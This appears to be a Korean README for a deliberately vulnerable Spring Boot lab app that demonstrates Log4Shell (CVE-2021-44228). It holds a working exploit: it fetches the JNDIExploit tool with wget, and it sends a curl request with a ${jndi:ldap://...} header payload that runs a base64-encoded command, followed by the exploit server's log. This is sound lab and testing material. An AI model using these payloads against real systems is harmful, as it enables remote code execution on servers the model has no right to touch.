
Log4Shell(CVE-2021-44228)에 취약한 Spring Boot 웹 애플리케이션.
이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함하며, Log4Shell이라는 별명으로 알려져 있습니다.
Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)과 JDK 1.8.0_181을 사용합니다.

다음과 같이 실행합니다:
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
참고: 이 내용은 원본 LunaSec 권고에서 많은 영감을 받았습니다. 실행 시 위험은 본인이 감수해야 하며, 가급적 샌드박스 환경의 VM에서 실행하세요.
업데이트 (12월 13일): JNDIExploit 저장소가 GitHub에서 제거되었습니다(아마도 GitHub에 의한 것이 아님)... 여기를 클릭하여 Wayback Machine에 캐시된 버전을 다운로드하세요.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
/tmp/pwned.txt 파일이 생성되었는지 확인하세요:$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/